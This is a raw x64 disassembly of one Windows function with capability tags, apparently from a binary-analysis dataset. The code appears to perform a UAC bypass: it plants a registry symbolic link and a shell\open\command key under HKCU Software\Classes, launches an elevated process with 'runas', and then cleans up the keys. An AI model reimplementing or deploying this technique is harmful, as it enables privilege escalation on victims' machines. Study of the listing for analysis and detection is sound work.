Function at 0x1400078e4
Capabilities:
Delete registry key
Delete registry value
Set registry value
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 0x20], rbx
mov qword [rax + 0x18], r8
mov qword [rax + 0x10], rdx
mov dword [rax + 8], ecx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0xf38]
mov eax, 0x1000
call fcn.140016700
sub rsp, rax
mov r14, r9
mov dword [rbp - 0x40], 0x240022
xor r9d, r9d
lea rax, str.SymbolicLinkValue
mov ebx, r9d
mov qword [rbp - 0x60], r9
xor ecx, ecx
mov qword [rbp - 0x80], rbx
mov r12d, 0xc0000022
mov qword [rsp + 0x58], r9
lea edx, [r9 + 2]
mov qword [rbp - 0x38], rax
mov r13b, r9b
mov r15d, r9d
call qword [sym.imp.ole32.dll_CoInitializeEx]
mov dword [rsp + 0x50], eax
lea rdi, [rbp + 0x4d0]
mov esi, eax
mov ecx, 0x410
xor eax, eax
rep stosb byte [rdi], al
lea rcx, [rbp - 0x50]
call qword [sym.imp.ntdll.dll_RtlFormatCurrentUserKeyPath]
xor edi, edi
test eax, eax
js 0x140007d5c
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x50]
call fcn.14000f8fc
test eax, eax
js 0x140007d50
lea rcx, [rbp + 0x30]
mov dword [rbp + 0x4d0], 0x5c
mov esi, r12d
mov qword [rsp + 0x70], rdi
call qword [sym.imp.ole32.dll_CoCreateGuid]
mov rbx, qword [rbp - 0x80]
test eax, eax
jne 0x140007a4e
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x30]
call qword [sym.imp.ole32.dll_StringFromCLSID]
test eax, eax
jne 0x140007a4e
mov rdx, qword [rsp + 0x70]
mov eax, 0x104
test rdx, rdx
je 0x140007a22
lea rcx, [rbp + 0x4d2]
cmp word [rdx], di
je 0x140007a1f
lea r8, [rbp + 0x4d2]
mov rdi, rdx
sub rdi, r8
xor r9d, r9d
lea r8, [rax - 1]
test r8, r8
je 0x140007a1d
test rax, rax
je 0x140007a1d
movzx eax, word [rdi + rcx]
mov word [rcx], ax
add rcx, 2
mov rax, r8
cmp word [rdi + rcx], r9w
jne 0x1400079fa
xor edi, edi
mov word [rcx], di
lea r8, [rsp + 0x60]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x140007a4e
mov rcx, qword [rsp + 0x60]
mov rdx, r14
call fcn.140007848
mov rcx, qword [rsp + 0x60]
mov esi, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
test esi, esi
js 0x140007d58
lea rcx, [rbp + 0x4d0]
mov r13d, 1
cmp word [rbp + 0x4d0], di
je 0x140007a80
add rcx, 2
cmp word [rcx], di
jne 0x140007a77
lea rax, [rbp + 0x4d0]
mov edx, 8
sub rcx, rax
movzx eax, word [rbp - 0x4e]
sar rcx, 1
add rax, 0x104
lea rdi, [rax + rcx*2]
mov rcx, qword [0x14002eae0]
mov r8, rdi
mov rcx, qword [rcx + 0x18]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
xor r9d, r9d
mov r15, rax
test rax, rax
je 0x140007d56
lea rdx, [rbp - 0x50]
mov qword [rbp - 0x68], rax
lea rcx, [rbp - 0x70]
mov word [rbp - 0x70], r9w
mov word [rbp - 0x6e], di
call qword [sym.imp.ntdll.dll_RtlAppendUnicodeStringToString]
xor edi, edi
test eax, eax
js 0x140007d58
lea rdx, str.SoftwareClasses
mov dword [rbp + 0x8e0], 0x5c
lea rcx, [rbp + 0x8e2]
call fcn.140001b00
lea rdx, [rbp + 0x8e0]
lea rcx, [rbp - 0x70]
call qword [sym.imp.ntdll.dll_RtlAppendUnicodeToString]
test eax, eax
js 0x140007d58
lea rdx, [rbp + 0x4d0]
lea rcx, [rbp - 0x70]
call qword [sym.imp.ntdll.dll_RtlAppendUnicodeToString]
mov r14, qword [rbp + 0xf48]
test eax, eax
js 0x140007d4a
mov eax, 0x104
lea rcx, [rbp + 0xc0]
mov r9d, eax
mov edx, eax
mov r8, r14
call fcn.140001b40
lea rdx, str._shellopen
lea rcx, [rbp + 0xc0]
call fcn.140001ac4
mov qword [rsp + 0x40], rdi
lea rax, [rbp - 0x60]
mov qword [rsp + 0x38], rax
lea rdx, [rbp + 0xc0]
mov qword [rsp + 0x30], rdi
xor r9d, r9d
mov dword [rsp + 0x28], 0x2000000
xor r8d, r8d
mov rcx, rbx
mov dword [rsp + 0x20], edi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140007d4a
lea rdx, str.command
lea rcx, [rbp + 0x40]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
mov rax, qword [rbp - 0x60]
lea r8, [rbp - 0x30]
mov qword [rbp - 0x28], rax
lea rcx, [rsp + 0x58]
lea rax, [rbp + 0x40]
mov dword [rbp - 0x30], 0x30
mov qword [rbp - 0x20], rax
xorps xmm0, xmm0
lea rax, [rbp - 0x58]
mov dword [rbp - 0x18], 0x40
mov qword [rsp + 0x30], rax
mov esi, 0xf003f
mov dword [rsp + 0x28], 3
xor r9d, r9d
mov edx, esi
mov qword [rsp + 0x20], rdi
movdqu xmmword [rbp - 0x10], xmm0
call qword [sym.imp.ntdll.dll_NtCreateKey]
cmp eax, 0xc0000035
jne 0x140007c2a
bts dword [rbp - 0x18], 8
lea r8, [rbp - 0x30]
mov edx, esi
lea rcx, [rsp + 0x58]
call qword [sym.imp.ntdll.dll_NtOpenKey]
test eax, eax
js 0x140007d4a
movzx eax, word [rbp - 0x70]
lea rdx, [rbp - 0x40]
mov rcx, qword [rsp + 0x58]
mov r9d, 6
mov dword [rsp + 0x28], eax
xor r8d, r8d
mov rax, qword [rbp - 0x68]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ntdll.dll_NtSetValueKey]
test eax, eax
js 0x140007d4a
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ntdll.dll_NtClose]
mov eax, dword [rbp + 0xf40]
add eax, 0xffffffcb
mov qword [rsp + 0x58], rdi
test eax, 0xfffffff7
je 0x140007caf
mov rcx, qword [rbp + 0xf50]
mov r9d, 5
xor r8d, r8d
mov dword [rsp + 0x20], 0x2ee0
xor edx, edx
call fcn.14000df14
test eax, eax
je 0x140007d4a
jmp 0x140007d47
mov rdx, qword [0x14002eae0]
lea rcx, [rbp + 0xaf0]
add rdx, 0x272
call fcn.140001b00
mov rdx, qword [rbp + 0xf50]
lea rcx, [rbp + 0xaf0]
call fcn.140001ac4
xor eax, eax
lea rdi, [rbp + 0x50]
lea edx, [rax + 0x70]
mov ecx, edx
rep stosb byte [rdi], al
lea rax, str.runas
mov dword [rbp + 0x50], edx
mov qword [rbp + 0x60], rax
lea rcx, [rbp + 0x50]
lea rax, [rbp + 0xaf0]
mov dword [rbp + 0x80], r13d
mov qword [rbp + 0x68], rax
mov dword [rbp + 0x54], 0x40
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
xor edi, edi
test eax, eax
je 0x140007d4a
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rbp + 0xb8]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rbp + 0xb8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r12d, edi
mov esi, dword [rsp + 0x50]
jmp 0x140007d63
mov rbx, qword [rbp - 0x80]
jmp 0x140007d5c
xor edi, edi
mov esi, dword [rsp + 0x50]
mov r14, qword [rbp + 0xf48]
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x140007d73
call qword [sym.imp.ntdll.dll_NtClose]
test r15, r15
je 0x140007d8e
mov rcx, qword [0x14002eae0]
mov r8, r15
xor edx, edx
mov rcx, qword [rcx + 0x18]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
test r13b, r13b
je 0x140007da8
test rbx, rbx
je 0x140007db6
lea rdx, [rbp + 0x4d2]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
test rbx, rbx
je 0x140007db6
mov rcx, rbx
call qword [sym.imp.ntdll.dll_NtClose]
test esi, esi
js 0x140007dc0
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rdx, str.SoftwareClasses
mov dword [rbp + 0xc0], 0x5c
lea rcx, [rbp + 0xc2]
call fcn.140001b00
lea rdx, [0x1400265c0]
lea rcx, [rbp + 0xc0]
call fcn.140001ac4
mov rdx, r14
lea rcx, [rbp + 0xc0]
call fcn.140001ac4
lea rdx, str._shellopen
lea rcx, [rbp + 0xc0]
call fcn.140001ac4
lea rdx, [0x1400265c0]
lea rcx, [rbp + 0xc0]
call fcn.140001ac4
lea rdx, str.command
lea rcx, [rbp + 0xc0]
call fcn.140001ac4
xor esi, esi
mov qword [rsp + 0x50], rdi
lea rax, str.SymbolicLinkValue
mov dword [rbp - 0x80], 0x240022
lea rdi, [rbp + 0xc0]
mov qword [rbp - 0x78], rax
cmp word [rbp + 0xc0], si
je 0x140007e6a
add rdi, 2
cmp word [rdi], si
jne 0x140007e61
lea rax, [rbp + 0xc0]
mov dword [rbp], 0x30
sub rdi, rax
mov qword [rbp + 8], rsi
lea rax, [rsp + 0x60]
sar rdi, 1
xorps xmm0, xmm0
mov qword [rbp + 0x10], rax
lea rcx, [rsp + 0x70]
mov dword [rbp + 0x18], 0x40
movdqu xmmword [rbp + 0x20], xmm0
call qword [sym.imp.ntdll.dll_RtlFormatCurrentUserKeyPath]
test eax, eax
js 0x140007f83
movzx ebx, word [rsp + 0x72]
lea ecx, [rdi + rdi]
add rbx, 2
mov edx, 8
add rbx, rcx
mov rcx, qword [0x14002eae0]
mov r8, rbx
mov rcx, qword [rcx + 0x18]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rdi, rax
test rax, rax
je 0x140007f78
lea rdx, [rsp + 0x70]
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x60]
mov word [rsp + 0x60], si
mov word [rsp + 0x62], bx
call qword [sym.imp.ntdll.dll_RtlAppendUnicodeStringToString]
test eax, eax
js 0x140007f62
lea rdx, [rbp + 0xc0]
lea rcx, [rsp + 0x60]
call qword [sym.imp.ntdll.dll_RtlAppendUnicodeToString]
test eax, eax
js 0x140007f62
lea r8, [rbp]
mov dword [rbp + 0x18], 0x140
mov edx, 0xf003f
lea rcx, [rsp + 0x50]
call qword [sym.imp.ntdll.dll_NtOpenKey]
test eax, eax
js 0x140007f62
mov rcx, qword [rsp + 0x50]
lea rdx, [rbp - 0x80]
call qword [sym.imp.ntdll.dll_NtDeleteValueKey]
test eax, eax
js 0x140007f57
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ntdll.dll_NtDeleteKey]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ntdll.dll_NtClose]
mov rcx, qword [0x14002eae0]
mov r8, rdi
xor edx, edx
mov rcx, qword [rcx + 0x18]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
lea rcx, [rsp + 0x70]
call qword [sym.imp.ntdll.dll_RtlFreeUnicodeString]
mov rbx, qword [rsp + 0x1058]
mov eax, r12d
add rsp, 0x1000
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret